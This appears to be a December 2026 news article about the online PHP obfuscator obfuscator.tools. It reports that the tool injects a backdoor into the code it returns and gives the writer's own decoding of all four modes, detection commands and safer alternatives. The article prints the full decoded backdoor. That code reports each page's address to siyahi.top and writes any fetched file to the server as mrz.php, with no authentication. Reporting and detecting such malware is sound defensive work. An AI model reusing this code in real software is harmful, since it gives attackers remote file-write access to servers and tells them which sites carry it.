Sulat.com / Writing on AITuesday, December 1, 2026
Enter →
Developer Tools/1 December 2026

Online PHP obfuscator adds a backdoor to its output

SANS says the web tool obfuscator.tools adds code that reports each page's address and lets anyone save a file to the server. I decoded all four of its modes and found the same code in each.

Glossy 3D PHP logo above an open floor hatch with code fragments and a file icon rising in a beam of light
Illustration: Sulat, featuring the PHP logo

At a glance

  • SANS Internet Storm Center says the web tool obfuscator.tools adds hidden code to the PHP it returns. A reader, Patrick Scholing of DNSBunker.org, spotted it.
  • The added code sends each page's address to siyahi[.]top and saves any file fetched through an mrz parameter as mrz.php.
  • SANS tested one mode. I decoded all four, with the noise option on and off, and every output carried the same code.
  • SANS saw no request for its seeded test address after about an hour, and no victim has been named.
  • Anyone who used the tool should look for mrz.php, mrz requests in web logs and siyahi[.]top in DNS logs, then rebuild from their original source.

The SANS Internet Storm Center says obfuscator.tools, a website that scrambles PHP code so people can’t read it, adds hidden code to the files it hands back. The added code reports the address of every page that runs it to a server the attacker controls. It also lets anyone who adds ?mrz to a page’s address save a file of their choice onto the web server.

Johannes Ullrich of SANS wrote it up on 29 November after a reader, Patrick Scholing of DNSBunker.org, noticed the tool did more than it claimed.

What SANS found

Ullrich pasted a three-line PHP file that prints the letter x into the site’s Legacy STT mode. What came back was far longer, which is normal for obfuscation. He swapped the final eval for a print and read the hidden code. His original echo sits at the very end, so the page still behaves. The extra lines run before it.

Your PHP goes into the tool and comes back with extra code; the page still loads and the extra lines stay hidden
The page still works, so a quick test looks fine.

What I ran

I sent the same three lines SANS used to all four of the tool’s modes, with its noise option on and off, and saved the eight results without running any of them.

Code
<?php
echo('x');
?>
obfuscator.tools form with three lines of PHP pasted in and the packed output returned, Legacy STT selected
Three lines in, a packed file out. The last line of the output is the loader.

Then I decoded each file by hand in Python, following the loader steps written in the file itself, so none of the tool’s PHP ever executed. All eight decoded to the same code, byte for byte, and it matches what SANS published. SANS tested one mode. The other three carry it too.

Legacy STT, Smart Chunk, Fortress Layer and Super Polymorph all carry the extra code; SANS tested one, I decoded all four
SANS tested the first mode. I decoded all four.
ModeHow it hides the codeExtra code inside
Legacy STTBase64 and gzip behind one evalYes
Smart ChunkBase64 applied twice, assembled from short string piecesYes
Fortress LayerPieces joined in order and checked against a hash, a letter swap, then two rounds of base64 and deflateYes
Super PolymorphPieces checked against a hash, a letter swap, base64, an XOR key built from the PHP version, then deflate, with decoy code around itYes
What each mode of obfuscator.tools does with the same three-line input.

Super Polymorph builds its key from PHP’s major and minor version, and the key that opened my file was the one for PHP 8.2. That output only decrypts on that version.

What the added code does

This is the decoded code, ahead of the original echo:

Code
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL2dob3N0Lw==');
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);

if ( isset($_GET['mrz']) )
{
$remoteUrl      = $_GET['file'];
$remoteContent  = file_get_contents($remoteUrl);
$encodedContent = base64_encode($remoteContent);

if (file_put_contents('mrz.php', base64_decode($encodedContent))) {
    echo "File : mrz.php Success !";
} else {
    echo "Error";
}
exit;
}
echo('x');

It does two things.

  1. On every request it builds the page’s address from the host name and path, then posts it to https://siyahi[.]top/ghost/. The server’s name is base64-encoded in the file, so it never appears in plain text. The address always starts with http, even on a site served over https.
  2. If the page’s address carries an mrz parameter, it reads a second parameter called file, fetches whatever that points to and writes it to mrz.php. It prints a success message and stops.
Every page load reports the page address to siyahi.top; a ?mrz request fetches a file and saves it as mrz.php
One part reports in, the other lets files in.

There’s no password and no check on what file holds. Anyone who knows a site carries the code can use the second part, and the first part tells the attacker which sites those are.

What it needs to work

Both jobs lean on PHP’s file_get_contents. On a server with allow_url_fopen switched off, PHP refuses to fetch a web address. I confirmed that with a one-line test of my own, so on those servers the report-in call fails and the dropper can’t pull a file from a remote host.

The code never checks the file value, though, so a local path works as well as a web address. A readable file on the server can be copied into mrz.php. The write itself needs the web server to have permission to create files in its working folder. And because the report-in call runs inline, each page load waits for siyahi[.]top to answer or time out.

The evidence has limits. SANS sent the attacker’s collection script a test address and saw no request for it after about an hour. No victim has been named, and nobody has said how many files the tool has produced. What’s established is what the tool’s output does, not which sites run it.

Who’s behind it

Nobody has named the operator. Registration records show obfuscator.tools was registered in April 2026 through Namecheap, with no owner shown. Its about page pitches it to developers who ship PHP to clients without installing a desktop tool, and its own FAQ says obfuscation can’t make reversal impossible.

The contact page is still template text that reads “Publish a real support email or form endpoint here”. There’s no address to put questions to, so there’s no response from the site to report.

SANS says siyahi[.]top looks like a compromised construction company website, and that its default address and boilerplate could be a decoy. Registration records show the domain dates from 2023 and uses Cloudflare name servers.

What to check

If you’ve used the tool, start with the files it made. The three newer modes open with a header comment naming the tool. Legacy STT output has no header, but it starts with a variable called $stt1 and ends in an eval line. I ran these searches against my own eight outputs, and they caught every one.

Code
# Smart Chunk, Fortress Layer and Super Polymorph output
grep -rl '\[obfuscator.tools\] Generated by' /var/www

# Legacy STT output
grep -rlE '^\$stt1 = "' /var/www --include=*.php

# The dropped file, and requests that trigger it
find /var/www -name mrz.php
grep -E '[?&]mrz(=|&| |$)' /var/log/nginx/access.log

Change the paths to match your setup, and add DNS and proxy logs for siyahi[.]top. If mrz.php exists, treat the server as compromised, because its contents are whatever the attacker chose to fetch. Deleting the file isn’t enough. Rebuild the PHP from your own source and review the server. And don’t paste production code into a website to protect it.

Checklist: find tool-made files, search for mrz.php, search logs for ?mrz, look for siyahi.top, rebuild from source
Four searches that show whether the tool’s code is on a server.

Not the first time

In 2015 Sucuri found that a free obfuscator, htmlobfuscator.com, appended its own code to whatever script users pasted in, pointing at a domain of its own. The same code turned up inside a WordPress plugin whose author had used the service.

In 2023 Checkmarx reported that eight developer tools since January had carried hidden payloads, the latest called pyobfgood. Several posed as obfuscators too, Ars Technica reported. Developers hand an obfuscator their most sensitive code and trust what comes back, which makes it a good place to hide something.

How it compares

There are other ways to protect PHP, and they share one trait: they run on your machine. ionCube and SourceGuardian are commercial encoders that compile your code to bytecode and need a free loader on the server. YAK Pro is a free, MIT-licensed obfuscator you run from the command line. It rewrites your source and scrambles names.

OptionHow it protectsWhere it runsLoader on the server
obfuscator.toolsRewrites PHP into packed PHPIts websiteNo
ionCube EncoderCompiles to bytecode, optional encryptionYour machineYes, free
SourceGuardianCompiles to bytecode, adds encryptionYour machineYes, free
YAK ProRewrites source and scrambles namesYour machine, open sourceNo
Sources: ionCube, SourceGuardian and YAK Pro project pages, obfuscator.tools.

None of them asks you to send your code to someone else’s website, which is the step that went wrong here. Obfuscation also has a ceiling. PHP.earth’s code-protection guide says obfuscated code can still be reverse-engineered in most cases, so licence terms matter as much as tooling.

Sources: SANS Internet Storm Center, “Backdoored PHP Obfuscator”; Sucuri, “Why a free obfuscator is not always free”; Ars Technica on Checkmarx’s findings; YAK Pro on GitHub; ionCube; SourceGuardian; PHP.earth.